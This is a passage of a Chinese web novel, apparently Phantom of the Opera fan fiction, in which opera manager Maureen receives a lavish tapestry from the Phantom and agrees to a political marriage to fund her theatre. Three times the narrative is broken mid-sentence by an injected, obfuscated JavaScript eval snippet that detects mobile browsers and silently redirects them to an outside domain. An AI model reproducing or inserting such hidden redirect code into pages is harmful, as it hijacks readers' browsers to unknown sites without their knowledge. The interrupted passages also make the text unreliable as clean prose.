说它不同寻常，是因为车上载着的不是人，而是足有半人高的木箱，显而易见是专门用来载货的。而这样一辆载货的马车车壁上却既是彩绘鎏金又是宝石豪镶，就连用来拉货的马也通身黑色（这在当时只属于上流贵族，而不会是出租马车），更别提皮毛是多么油光水滑。不难想象，喂养出这样一匹马所需要的草料足够养活多少只靠稀粥和栗子为生的平民。 不少进进出出的住户都会在经过它的时候发出感叹，不免好奇起来究竟这样大张旗鼓送进来的会是哪一位住户的东西。 门童对此束手无策。他们倒是很想找个地方将它藏起来，这样也不会导致公寓门口仅剩下只可供两人通行的道路了。 可他们又不知道从何下手，只因为那位赶马的人模样凶悍，而箱子又包装精美得有些过分，甚至还在表面贴上了金箔用作装饰，如果不当心造成了刮花或是损坏，他们恐怕就得白干一整年的活来赔付了。 好在没过多久就有人下来认领这样棘手的包裹了。 卡洛琳本来是要去赴一个紧急的约会的。 但她现在却停在了马车边上，并且难得地在门口就摘掉了斗篷的帽子，反而仔细端详起这个令人惊异的箱子来。 卡洛琳收过各式各样的礼物，累积起来可能都能堆作一座小山了，但这样隆重与别出心裁的还是第一件，所以才忍不住驻足。 门童们看见他们的交际花小姐如获大赦，赶紧上手想要帮着她把箱子从马车上搬下来。 “这一定又是公爵为您送来的礼物了！”门童大声恭维道：“整个巴黎都不会有比您与这些东西更为相称的人！” 虽然这样的恭维听了太多次，但卡洛琳却一点儿也不嫌多。 “他总喜欢干这些出人意料的事！但又有谁会讨厌这种惊喜呢？” 她满意地摸了摸木箱上的金箔，又打算伸手去摸那匹漂亮的黑马，却在还没碰到它时就被一个刺耳的响鼻声给吓了回去。 “瞧！多骄傲的小家伙！” 她没有生气，反而高兴地朝赶马人说：“我喜欢它！就连同这匹马一起留下吧，我正好缺一匹坐骑！” 德·蒙特克里斯托公爵对她向来大方，每个月送来的礼物不计其数。不过大多是珠宝首饰一类的小玩意儿，这次却难得的声势浩大起来了。这匹黑马更是恰好送到了她的心坎上。 我们的交际花小姐还以为是公爵总算开了窍，兴高采烈地吩咐身边的仆从一起去帮着门童抬箱子，没料到赶马人僵着脸把她和门童一齐拦了下来。 “你什么意思？！”卡洛琳这回是真的生气了。 她瞪着赶马人，却因为眼珠过于水灵动人反而显得失去了威慑力。 “抱歉，卡洛琳小姐？但这恐怕不是送您的礼物。” 赶马人的话在人群中引起了一阵骚动。 不是送给卡洛琳小姐的礼物，还这么大张旗鼓，简直是让他们骄傲的交际花小姐丢尽了面子。 “那是送给谁的？！” 卡洛琳的眉毛扬了起来，在她额心留下了几道细微的竖纹。 夏朗顿路难道还住着公爵的第二位情人？他们是什么时候勾搭上的？！不对，如果有的话，她怎么会不知道？！ 赶马人不慌不忙地从兜里掏出来一张纸条，仔细辨认了一会儿，确认道： “夏朗顿路十七号公寓顶层，莫琳·德·莱斯曼小姐。” “什么？！” 正从公寓里出来的莫琳打了个喷嚏。 她是准备要去歌剧院的，却没想到在这儿撞上了一出好戏。当然，如果这场好戏的主人公没有她的话，她会更开心。 周围几十双眼睛齐刷刷地盯着她，包括好奇的，也包括仇恨的。当然，最无法忽视的就是来自卡洛琳小姐的注视，她简直要把她盯出个窟窿来了。 稍微有些理智的群众则立刻提出了不解。 即使这位德·蒙特克里斯托公爵确实声名赫赫，但这位莱斯曼小姐同样有着不一般的身份。尤其是在她已经正式得到莱斯曼家族的认可以后，她怎么还会需要和公爵的情人扯上关系呢？这无疑是种自降身价的表现。 “是不是弄错了？你该去找公爵再核实一遍才对。” “从来没碰见莱斯曼小姐和蒙特克里斯托公爵一起出现的时候，可众所周知，卡洛琳小姐却是天天与他见面的，我说，还不如让卡洛琳小姐亲自去问个清楚。” 只有莫琳皱了皱眉，问：“你确定送东西的是蒙特克里斯托公爵吗？” “我只负责送货，并不知道寄东西的人是谁。” 原来如此。 连带着围观的人都跟着舒了口气。 这下就不用看见交际花和莱斯曼小姐相互撕扯的场面了。 要知道这种时候的女人，尤其涉及到自己的面子问题，她们根本顾不上什么男人不男人，而大多都是为了自我尊严而失去理智的。 莫琳对赶马人的话将信将疑。 她的脑袋里一瞬间冒出了很多名字，甚至还包括莫里斯·德·莱斯曼。不过也只是一瞬间而已，她很快把他排除了。即使自己这位舅舅富得流油，他也从不做没有回报的事情。这么大费周章地给自己送东西？这绝不是他的风格。 她鬼使神差地往箱子边上瞟了一眼。 只是这一眼，却好巧不巧地撞见了木箱底部那个熟悉的落款。 ——「F·DEL·O」 又是暗红的字迹，像是用血写上去的一样。 “看来您已经知道送东西的人是谁了。” 赶马人看见她的表情，笑了一声，单手轻松地将木箱抱了下来，说：“我现在就替您把东西送上去”。 莫琳没有回答，她还没从幽灵给她送东西这件事里反应过来。 他为什么要给自己送东西？ 她仔细回想了一遍，确认他们最近既没有因为什么事起争执，也没有相互看不顺眼的情况。那么这箱子里装着什么东西？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032267|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “等等，看莫琳小姐的样子，这样礼物对她来说也是意料之外的。那么我们打开箱子看看不就知道了吗？也能够满足大家的好奇心。” 一旁的卡洛琳急于找回面子，并不想就这么让这件事过去： “如果里面是一箱子曲谱或者书籍，不用说也知道一定是属于莫琳小姐的东西，我从来没有这方面的爱好。可如果不是，还得麻烦你再核实一遍真正的收件人。” 她盯着莫琳说。 这话虽然有些牵强，但却顺应了大部分围观者。谁会不想知道这样奢华的阵仗之下究竟藏着什么东西呢？还能引得两位小姐相互争执起来。 “这太荒谬了，难道莱斯曼小姐就不会有首饰珠宝吗？”，其中一个妇人不满地提出抗议。 她向来看不惯卡洛琳的做派，又碍于她背后有蒙特克里斯托公爵撑腰不好直接发作。可莱斯曼小姐不一样，她的身份可不必忍受一个交际花的置喙。 “别在这里打开，”莫琳注意到不对劲的气氛，赶紧往前走了一步，说：“请先替我搬上去”。 别人不知道，可她却再明白不过了。 这可是幽灵送来的东西！ 她不确定里面会不会装着什么骇人的玩意儿。万一从里面滚出来一个血淋淋的人头（莫琳毫不怀疑这能是埃里克干出来的事情），这群妇人小姐们可都要晕倒在家门口了！ “就在这里打开！” 卡洛琳一边上前挡住了莫琳靠近，一边指挥自己的仆从上手去打开那个箱子。 在一片混乱当中，那个可怜的箱子终于不堪其扰地砸在了地上，漏出了里面黑漆漆的一角。 “这是什么东西？”有人好奇地问。 在赶马人的保护下，莫琳这才终于有了接近的机会。在确认不是什么恐吓信和带有威胁性质的古怪玩意之后，她上前展开了里面藏着的东西。 那是块尺寸惊人的绒绣，超过三十古尺。 确切地说，那是块布鲁塞尔的佛兰德斯。 就是先前埃里克说与她的卧室更为相称的绒绣。 “噢！原来是块绒绣，”门童失望地说：“这么看来的确是属于莱斯曼小姐的了”。 他原以为能看到什么更吸引人注意的东西，这才值得两位小姐在这里争执，没想到是这么一块黄褐相间的，毫不起眼的绒绣。 几乎有超过七成的巴黎人都喜欢在家里挂上这东西。 但对于不同的人来说，绒绣的作用也是不同的。 例如，对于门童来说，绒绣只是用来保护他的家人们免受潮湿空气的侵袭，勉强保持一点儿室内温度；而对于住在夏朗顿路十七号公寓里的先生小姐来说，这是他们身份的象征，每个被邀请到家里做客的人都会从一张简单的绒绣中摄取出他们个性化的艺术特色，并因他们独特的品味而着迷。 对他而言平平无奇的绒绣放在别人眼里却是千金难寻的宝物，人群里有不少喜欢收藏装饰的夫人很快认出了这块毯子的来路。 ——“这是佛兰德斯绒绣！” 28.陷阱 认出绒绣的人里还包括卡洛琳小姐。 她紧紧抿着唇，视线像尖锐的矛一样钉在那幅绒绣上。 这是连蒙特克里斯托公爵本人也得不到的，更别提当作随手的礼物赠送给她了。 “我上一次听说这块绒绣时，据说还藏在王后的寝宫里，”有人惊异地说：“可后来见过王后的人却再也没听她提起过，似乎是早就不知去向了。” “整个巴黎恐怕都找不到第二块如此精美的佛兰德斯了！莫琳小姐，您从哪里得到这幅绒绣？”有人挤到莫琳的身边问。 “如果莫琳小姐愿意割爱，我愿意出五千里弗尔买下这幅绒绣！再加上位处夏洛的一套小房子！” 这可是笔大开销了。 即使有些人知道这块绒绣价值不菲，他们也没有料到真会有人在出价上如此豪迈。反过去看，这也足以证明莫琳小姐在获得这幅绒绣背后付出了多大的代价。在他们看见它的第一眼，就知道这不可能是一件不带索取意味的礼物了。 可莫琳知道这幅佛兰德斯出现在这里的原因。 这是埃里克给她的回报。 她直到这一刻才反应过来，他之所以迟迟没有接过那条布帘的原因，是他不想破坏她精心装扮的卧室艺术。 他受了枪伤，而莫琳递给他的只不过是止血的布条。 换做其他任何人，这样的急救措施都会显得太过简陋而敷衍，甚至会在内心谴责莫琳。可换做那个幽灵，他为了那两块帐帘所付出的代价竟然会是千金难寻的绒绣。 莫琳一时间不知道是该说他所获得的关心太少了，还是这个世界没有谁将他真正当成一个人来对待过。 莫琳朝那位出价的先生点了点头，说： “如果这是在拍卖行，我一定第一时间就答应您了，” “可惜这是别人赠予我的礼物，若是我转头就卖了出去，恐怕我们就再也做不成朋友了”。 “的确如此，”那位先生表露出赞同。 如果他的朋友能赠送给他这样一副绒绣，他是宁可将它带到棺材里去也舍不得送人的。 “那么，麻烦您了，”莫琳对赶马人说。 于是，在众人的注视下，这幅庄重奢华的佛兰德斯被小心翼翼地卷了起来，再次回到那个木箱当中。赶马人将它抬到了十七号公寓的顶层，莫琳居住的房间里。 大部分围观者都在一片感慨声中散去，只有卡洛琳留在原地。 她的仆从提醒她：“您的约会就要迟到了”。 可卡洛琳置若罔闻。 她看着马车离开留下的两道扎痕，说： “告诉莱丽夫人，我们的约会改期吧，我今天得去和公爵见上一面。” 公爵的府邸里。 “那位德·莱斯曼小姐，她竟然有一块布鲁塞尔的佛兰德斯！” 卡洛琳添油加醋地和公爵讲述着她的见闻： “您能想象吗？用来装绒绣的木箱还裹着金箔。我可不知道莱斯曼先生给过她这么多财产，她仅仅是他的侄女而已。” “就连埃涅阿斯的的战甲都交织着金线，更别提特洛伊燃起的火焰了！我从没见过如此栩栩如生的绒绣，就好像飞到我面前来了似的。” “而这样的佛兰德斯竟然足有三十古尺！她该不会是将王后寝宫里的那块偷出来了吧？！” 公爵轻轻笑了一声，抚摸着女人金色的长发，问： “你嫉妒了吗，卡洛琳？” “当然没有！”她迅速地否认道：“我只是替您感到不快。连您都没有的东西，怎么能让一个歌剧院的女经理先得到？” “她的背景可远不止一个女经理。” 公爵拍了拍卡洛琳的背，说：“从她搬到你楼上的时候，你就该知道你们之间的差距了。” “那有什么了不起的”，卡洛琳拂掉了公爵的手，他的安抚并没有缓解她浮躁的心情。 “如果您愿意，我也能住到那里去。” 她得到的宠爱太多，有时候难免会一时忘了分寸。就比如这个时候，她没注意到德·蒙特克里斯托公爵的脸色变了。 “摆清楚你自己的位置”。 公爵冷着脸，把女人从自己身上推了下去。 “我给你的够多了，卡洛琳。如果我想收回这一切的话，明天你就得出现在贫民区的街头。不要嫉妒你不该嫉妒的人，莱斯曼家的人可不是你能够比拟的。” 卡洛琳跌坐在地上，冰凉的砖块使她的神志清醒了一些，她很快意识到自己说错了话。 “您知道我不是那个意思，”她连忙放柔自己的语气，补救道：“我没有嫉妒。只不过莫琳小姐是个美人，在她面前，我难免担心自己不够漂亮，哪一天就突然失去您的心。” 她把自己那份对于绒绣的艳羡转移到了情感上，这对于公爵来说要容易接受得多。 作为情人，掌握说话的技巧十分重要。 果然，公爵的脸色也放缓了。 他低头摸了一把女人的脸，“没人可以代替你。” “我就知道，您是最宠爱我的，”卡洛琳娇俏地笑了笑，半是撒娇地说：“不过您得保证，不会为她的歌剧院提供赞助。” “放心吧，我怎么舍得伤了你的心？”蒙特克里斯托公爵摸了摸卡洛琳的脸。 他没有骗她，他没有成为她歌剧院赞助人的打算。即使在晚宴的时候，他有一瞬间被美人的举杯动容了，谁能拒绝这样惊才绝艳的人提出的请求，更何况她与自己侃侃而谈歌剧时眼波里流传的欲望呢？ 他没有答应，并不是因为卡洛琳的介意，而是他知道，很快就会有人代替他那么做了。 “阿梅莉，你是不是疯了？！” 莱斯曼先生把来自罗什舒亚尔家的信摔在阿梅莉面前，气得几乎说不出话来。 他总算弄清楚了在那版《晨报》背后作祟的人，却怎么也没想到会是自己的小女儿。他原先大费周章地去严刑拷打歌剧院的工人布莱克，却依旧得到了一个错误的答案。 现在想想却是有预兆的。 如果不是家里的人，如果不是信件里盖上了家族印章，《晨报》又怎么可能这么轻易地将消息刊登出去？ “父亲，您先别生气，”昆西替自己的妹妹说情：“她只是一时糊涂，但事情还有转圜的余地。” “有什么余地？！”莫里斯生气地说： “现在公告已经刊登出去，在外界看来莫琳已经是莱斯曼的一员。难不成再让那些记者们去否决这条消息，让所有人看笑话吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038792|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “罗什舒亚尔侯爵那里呢，他怎么说？”昆西问，“他也同意换人吗？” “这得问你那个自作聪明的妹妹！”提到这个，莫里斯更是气不打一处来，“她竟然自作主张把歌剧院的包厢票送上门，他们见过了面，这下他当然更情愿选择莫琳作为联姻对象。” 虽然他不想承认，但莫琳和阿梅莉站在一起无疑使自己的女儿彻底黯淡了。在不牵扯利益受损的情况下，有眼睛的男人都会选择前者。 “我是在帮她！”阿梅莉满不在乎地说。 “她不是要为歌剧院找赞助人吗？我虽然在晚宴上替她引荐了蒙特克里斯托公爵，但人家却没有要帮她的意思，看来她的美貌也不是时时刻刻都能起到作用。” “如果她不想歌剧院无法运转，那么她只能选择作为莱斯曼嫁给罗什舒亚尔侯爵，这对她来说是个好选择。” “你怎么知道她一定会为了这笔赞助而答应？” “这可是婚姻，她会为了歌剧院而把自己卖了吗？” “那您怎么就情愿卖了自己的女儿呢？！”听到自己父亲的责备，阿梅莉忍不住委屈道：“罗什舒亚尔侯爵的年龄比您都要大，我嫁给他和守活寡有什么差别？！” “你......! ” 阿梅莉的话也许没有触动她的父亲，但昆西却被说服了。即使让那样一个美人掉到老侯爵手上无异于是羊入虎口，但那总比他的妹妹亲自去送命要来得好。 “父亲，阿梅莉还有很长的人生，她应该选择自己爱的人，”昆西劝说道：“至于莫琳小姐，阿梅莉也说了她需要这场婚姻，如果她是个聪明的，她就不会拒绝我们的安排。” 用莫琳代替阿梅莉是个危险的选择。 如果说阿梅莉和老侯爵的联姻能为他下一步的计划埋下一块安稳的垫脚石，那么莫琳就是一块摇摇欲坠的石头。 即使她现在姓莱斯曼，她也有可能随时会背叛他们。 可她带来的好处也太多了。就像昆西说的，这能换回阿梅莉后半段自由幸福的人生。 沉默片刻，莫里斯终于接受了这个事实。 “等罗什舒亚尔那边传来消息，你就去把她请过来吧。” 罗什舒亚尔对于这个结果当然求之不得。虽然换了人，但他什么也没有损失，莫琳的身份已经得到莱斯曼家族承认，他们之间的利益关系依旧牢固。昆西很快就收到了来自侯爵的信件，遵从父亲的安排去请来了莫琳。 莫琳到了之后，没费多少功夫就弄清楚了原委。 这并不是一件多么令人意外的事情，尤其是结合沙托夫人的那些话，以及掉换到罗什舒亚尔侯爵受伤的邀请函来看。 怪不得他对沙托夫人撮合罗什舒亚尔家长子和阿梅莉的举措如此介意，怪不得原属于莱斯曼家族的包厢坐着罗什舒亚尔侯爵。事情发展到这里，也许中途确实存在变故和意外，但一切线索都还是被串了起来，脉络清晰，直指莫琳这个最终的牺牲品。 “原来是这样，”莫琳看着莫里斯僵硬的脸色，自嘲地笑了一声。 她这位舅舅真是个物尽其用的人才，没想到最后倒是落尽自己女儿的算计里了。要她为他的计划铺路也不是不可以，但她必须从他身上剐下一块肉来。 29.甘愿 莫琳问：“如果我答应你，我能得到什么？” 莫里斯：“你不是一直在找歌剧院的新赞助人吗？有了侯爵夫人的头衔，还着急什么？” “除了这个呢？”莫琳追问： “赞助人？我当然不担心这个，侯爵就算为了面子也会心甘情愿担上这个责任的。但是，你不为我的付出提供任何好处吗？我可是替你的女儿嫁过去的，这不道德。” “不要得寸进尺”，莫里斯咬着牙说，“这对我们双方都有益处。” “我得寸进尺？” 莫琳气极反笑，都恨不得想要掰着手指和他算清楚这笔账了。 “不要以为我不知道演出那天的杀手是受谁的指示？只不过你的算盘落空了。连一个幽灵解决不了，你身边是没有像样的人了吗？舅舅？” “你究竟想说什么？” “革命愈演越烈，再加上您安排的凶杀，可是让歌剧院雪上加霜。” 莫琳盯着莫里斯，言语里带着讽刺。 “我想要的只是渡过难关而已，就看您愿不愿意这么做了。既然不可避免，不如顺势而为。我为观众们修订了《塔拉勒》，新的剧目里将会增加加冕环节，您不觉得这是个向王室表忠心的重要机会吗？” “当然了，我们所等待的是时机，您能给我们带来时机。” 话题到这里总算是进入了正轨。 “像王室表忠心？呵！莫琳，你以为我不知道你在想什么吗？”莫里斯眼神犀利地盯着她：“你这样的人会有这种好心？保皇派的人知道你也是他们的一员吗？” “怎么不会？”，莫琳顶着他的目光，丝毫没有因此而犯怵。 “我可是莱斯曼小姐，我难道会希望自己跌落到泥潭，失去我应有的权利吗？” 莫琳说的话没有错，她的身份注定她的立场。即使她本人并不像个衷心的，但在这个时候公然站到贵族的对立面对她而言没有任何好处。 “你想怎么做？”，莫里斯问。 “以您在市政厅担任的职位，不难组织一场面向王室成员的演出。如果能借此让他们知道群众对于王室的衷心，那不是好事吗？” 革命的风头正盛，爱情戏码不再能和往日一样博得那么多的关注了。在上一场演出前，莫琳就已经研读了手头上所有的剧本，在谨慎的考虑后决定从《塔拉勒》和《阿斯帕西亚》下手。既然莫里斯能够毫不顾忌她的颜面将凶杀安排在歌剧院里，那么他就得帮助她将观众们带回来。 而王室成员的莅临，不必说也会替歌剧院抹去凶杀的阴影。 早在她来到莱斯曼府邸之前，她就有提出这个要求的打算，却苦于没有合适的理由。而罗什舒亚尔的联姻则恰好让她的要求站得住脚了。 莫里斯这次没有选择，他必须答应她。 更何况，与其说这是莫琳的胁迫，不如说这是顺势而下的台阶。找到愿意出席《塔拉勒》演出的王室成员不算难事，相反的，在当下这个巧妙的时间点，王室和市政当局一定都对这场剧目的上演乐见其成。也许让他们拨款协助制作剧目恐怕也是乐意的。 “你会乖乖嫁过去的，对吗？”莫里斯问。 “只要您能满足我的要求。” 等莫琳回到歌剧院里的时候，所有在的人都聚集在演员休息室里等着她。 梅格站在最前面，她的脸上写满了忧虑和不安。 “您终于回来了”。 莫琳看了一圈站在休息室里的人，没有在人群里找到克莉丝汀的踪影。 她或许是去找她的子爵先生了。毕竟上一场演出是她答应会参与的最后一场，这一场过后，他们就要北上了。 莫琳问：“事情解决得怎么样了？我想警察署的人应该已经来过了吧，抓到凶手了吗？” “那个人自杀了”，梅格摇了摇头：“警察赶过来的时候，他当众往自己脑袋上来了一枪。” 在场有几个演职工都目睹了这一场景，现在想起来他们还有些犯恶心。那个人对着自己的脑门来了一枪，倒地的时候脑浆四溅，血粘在红色的幕布上洗也洗不掉。 “观众席上没有人受伤。我们按照您的指示退了票，并安排了医生上门给大家进行疏导服务。只不过出了这件事，大概很长一段时间都不会有人再愿意光顾我们的歌剧院了。”梅格垂头丧气地说。 “你处理得很好，” “除了这个，还有没有别的事？比如说，有观众失踪的消息传出吗？” “没有，您为什么这么问？” “没什么。” 看来那个幽灵真的履行了他所说的话，阻止了那个议员的事继续发酵。 莫琳的心稍微安稳了一点儿，接着，她继续询问梅格关于其他个别几个，当日来观看演出的重要客人的情况。 然而在她们俩谈话的时间，后边已经有人坐不住了。歌剧院里发生了枪杀案，凶手自尽了，可那个幽灵还行踪未知，他们闯进五号包厢时，里面空荡荡的只剩两抹血痕。如果它把这桩凶杀案算到他们的头上，接下来的日子可就不好过了。 老诺特看了看周围人的脸色，率先将大家的忧虑说出了口： “经理，五号包厢里的那个东西....它逃了吗？” 那个东西？莫琳下意识地皱了皱眉。 原来他们将埃里克称呼为那个东西？ 不是人，也不是幽灵，在他们眼中，他似乎是个丧失身份游离于世的孤魂，不值得用人的礼仪和尊重相对待。这时候她终于明白为什么他对于自己递给他止血的布帘如此难以理解了——因为他不认为自己值得。 他甚至将她卧房里艺术的融洽性看得比他的生命更重要。 “也许吧，”莫琳搪塞地回答，将话题调离了一个方向： “但我想你们也都意识到了，这一次的事情是有人在拿歌剧院做局。既有办法解决幽灵，又让歌剧院彻底没了生意。可偏偏他的本事又不够大，什么也没干成，凶手死了，警察署的人什么也查不出来，于是他想就这么脱身，把烂摊子留给我们。” “谁会那么做？”大家质疑道 “我想不出来歌剧院和什么人有这种仇？ ......这可真够恶毒的。” “如果叫我知道是谁，我一定拿着斧头也要去解决了他！” “可我们现在应该怎么办呢？！”过了一会儿，有人的声音从低低的讨论声中冒了出来，“经理，我想知道，这个月我们什么时候能拿到薪水呢？” 她说完，大家霎时间都安静了。 梅格附在莫琳的耳边提醒她： “剧院账上的金额仅够勉强支持这个月的，还有供应商那边，他们催促我们尽快结清上个季度的款项。如果我们按照日子下发薪水，这笔帐很可能就无法填平了。” 如果接下来一段时间都无法正常进行演出，那么他们几乎没有额外的收入。再加上歌剧院的开支复杂多样，且从上任经理那里保留下来的陋习，它们和其他机构一样总是习惯用欠款来处理费用，债务越积越高，关门只是时间问题。 可她现在最不必担心的就是钱的问题了，罗什舒亚尔也并不是毫无益处，就像莫里斯所承诺的那样，他为她完全地解决了眼下这个燃眉之急。 “暂时不用担心这个，”莫琳爽快地说，“这个月的薪水照发”。 “可是！ ......” “这段时间，我可能不会再每天待在歌剧院里了，”莫琳对梅格说，“所以，债务的事情去找罗什舒亚尔家的会计解决吧，就说，这是他们女主人吩咐的事情。” “什么？” 梅格一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049823|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有反应过来这位女经理的意思，问：“这和罗什舒亚尔有什么关系？” 底下的人议论纷纷，只有老诺特率先意识到了。 他先是震惊地看了莫琳一眼，在看到她脸上的平静时又感慨地叹了口气，最终摇了摇头，说： “看来莱斯曼是打算和罗什舒亚尔联姻了。” “什么？！” “联姻？！就算是联姻，莱斯曼家不是还有一位真正的小姐？怎么会轮得上...？” 然而那个发出疑问的人很快就闭上了嘴。 他自己也意识到了不对劲，莱斯曼家怎么可能让莫琳取代真正的女儿嫁给罗什舒亚尔家的长子？而莫琳自称为女主人，这更不对劲，老侯爵可还没死。唯一的可能性，就是她要嫁的是那位老侯爵。 假使这些人里原先有那么一部分对他们的女经理心怀质疑，甚至担忧她随时随刻抛下歌剧院跑路的，那么此刻这些疑虑毫无疑问都通通消散了。 她都能为了歌剧院而委身嫁给一个年近半百的人了，他们还有什么好抱怨的呢？不要说是莫琳这样养尊处优的贵族小姐了，即便换做是歌剧院里哪一位芭蕾舞女，恐怕也要因为这个噩耗而彻夜哭泣几日。 没有人再开口说话了。 大家最在乎的问题得以解决，漂浮不定的心都得以安定。没有人继续再停留在演员休息室里，而是纷纷回到了自己的工作岗位上。 看到人群渐渐散去，莫琳这时候才注意到那个时常跟在她身后的年轻人似乎已经消失了很久。 “还有，奥斯顿呢？”，她问留下的老沃特。 “那小子请假了，”老沃特吐出一口烟：“说是要赶回去处理家里的事情。我和他说最近剧院的事情多，让他过段时间再回去，这小子也没答应。” “知道了”，莫琳没有再在这个问题上继续追问下去。 她看了欲言又止的老沃特两眼，说： “如果我不仅要留下那个幽灵，还要用他所创作的剧目，你觉得如何？” 听到她说的话，老沃特的瞳孔极速收缩了一下，他不敢置信自己的耳朵。 “您知道他杀了人！”，他说：“您怎么还能纵容他留在歌剧院里！” 他似乎只听进去了莫琳的前半句话，而将后半句完全忽略了。 “可我也杀不了他。” “那个枪手做了如此缜密的计划，还出现在了我们的舞台上，他也没有能力杀死他。而我呢？我更做不到了，甚至我现在还需要他。如果不是他的剧目，你也知道歌剧院还能支撑多久的。” “您都已经 ....”老沃特不解地说，“罗什舒亚尔家足以解决眼下的困境，您为什么还要向那个幽灵所屈服呢？” 他听上去一点儿也没有因为埃里克能够创作剧目这件事而感到惊讶。 “你和吉里，你们到底都知道些关于他的什么事情？”莫琳皱着眉问，“你们比我想象地要更了解他。可如果你们是真实打过交道的，我不明白，这个地方又怎么会造成这么多的血案呢？” “这世上很多事都不是非黑即白，能够这么轻易解释明白的。就像您也是个复杂的人一样，”老沃特看着她，重重地叹了口气，“在您第一次遣散芭蕾舞女们的时候，我以为您是个只为了利益的恶人，可现在呢？谁又能抵赖您是个再称职不过的经理？” “那个幽灵也一样。” 他抖了抖自己的烟斗，拖着长长的鼻音尾调说： “您瞧这灰，小梅格常说它把我的身体都腐蚀了，所以才会常常咳嗽。可我告诉她，这远远没有湖底下那些灰来得厉害。那些东西混着老鼠药和烂木头，早就堆成了一座小山，迟早要把整座歌剧院蛀空。” “即使清理这些灰是件大工程，甚至会有许多人因此丧命，您也得下定决心。” 30.垫脚石 由于是再婚，罗什舒亚尔家在婚礼的宣告和布置上都选择了低调处理。 布告在城郊教堂外边风吹日晒了两日，几乎摇摇欲坠。 布告上边，莱斯曼的名字和罗什舒亚尔并列在同一行，显得格外诡异，而那墨迹又是陈旧的，像是从很多年前遗留下的旧址。 人人都知道这块土地即将干裂，可人人都还在上面跳舞。 到场的宾客们神情各异，这并不是一场能够真心给予祝福的婚姻。谁都能明白这其中的利益关系清晰得如同秋日落叶上的经脉。他们只好虚伪地客套几句，转头又用几句无关紧要的杂闻试图掩盖过这场荒诞的结合。 不过这其中最过于尴尬的还属侯爵的长子，他甚至还在晚宴上因莫琳而摇晃过心神。 彼时令人迷醉的美人摇身一变成了和自己争夺家财的继母，这种反差换做谁都不是那么容易接受的。 阿梅莉也到场了，但她看上去并不高兴。 她跟随着自己父亲一齐走到莫琳身边，不复往日那样容光焕发，视线也不再追随着路易斯，那个她原先理想的结婚对象了。 莫里斯则完全接受了莫琳如今的身份，他还得指望她这块垫脚石能放得更稳妥一些呢。 “敬我们完美的新娘，”他对着莫琳举起酒杯，眼睛却瞟向了不远处的罗什舒亚尔侯爵。 “愿罗什舒亚尔的荣光如同塞纳河水，永远浸润莱斯曼的土地。” 他说的话虚无缥缈，不过就是用华丽的词句掩盖他恶心的企图。 手里的银质酒杯在晨光下泛起冰冷的锋芒，杯身錾刻的罗什舒亚尔纹章若隐若现。 莫琳低下头，任由头纱遮掩住她鄙夷的神情。 ——今日她所佩戴的那顶尚蒂伊蕾丝头纱足有三米长，由四个童仆捧着拖尾，像一片凝固的晨雾笼罩在草地上。 莫里斯走近莫琳，轻轻拂开她的头纱，低声说： “我想你知道该怎么做，对吗？好孩子，你比你母亲要聪明得多。” 莫里斯的动作温柔到了极致，如果不是他的言语中满是恶毒的威胁，恐怕莫琳就要真的以为站在自己面前的是和母亲血脉相连的亲人了。 她没有反驳，而是对着他一口饮尽了自己杯中残存的酒液： “敬伟大的莱斯曼”。 如果不是母亲，就算莱斯曼的姓氏永远消失也不值得可惜。 “看啊，多温馨的一幕！” 罗什舒亚尔侯爵这时候走了过来。他夸张地吻了吻莫琳的手背，对莫里斯说：“还得感谢莱斯曼先生的割爱，才能让我有机会得到她。” 他今天换上了礼服，也许还敷了些粉，略微掩盖住了额心与眼角那些象征苍老的皱纹。 “这是莱斯曼的荣幸。” “过来和我一起见见财政部部长怎么样？”罗什舒亚尔侯爵忽然提议，他浑浊的瞳孔里迸发出诡异的光亮来： “他一直很欣赏您的政见，只是苦于没有合适的见面机会。要我说，还有什么时候能比今天更合适呢？！” “什么..... ？” 莫里斯一顿。 他没想到机会会来得这么轻易。 虽然他已经为罗什舒亚尔做了不少事，但这个老奸巨猾的狐狸可从没提出过这种好事。每每他想要更进一步，去和上边的人打交道时，他总以时机不足作为借口。 看来是莫琳使他这边的砝码更足了。 “当然了！没有比今天更好的日子了！”莫里斯连忙说。 财政部部长！这正是莫里斯求之不得的机会！他当然不会拒绝，这就是他所等待的，让属于罗什舒亚尔的荣光照拂到自己身上。 他们两人一前一后地走了。阿梅莉却没有跟随她的父亲离开。她盯着莫琳的侧脸，像是企图用锋利的目光划开她的伪装。这个女孩想不通，为什么莫琳能够如此坦然接受降临在她身上的一切。 “我还没来得及感谢你，替我解决了燃眉之急。” 见她迟迟没有说话，莫琳主动敬了酒。 阿梅莉一声不吭。 她定定地看着她，过了一会儿，突然说： 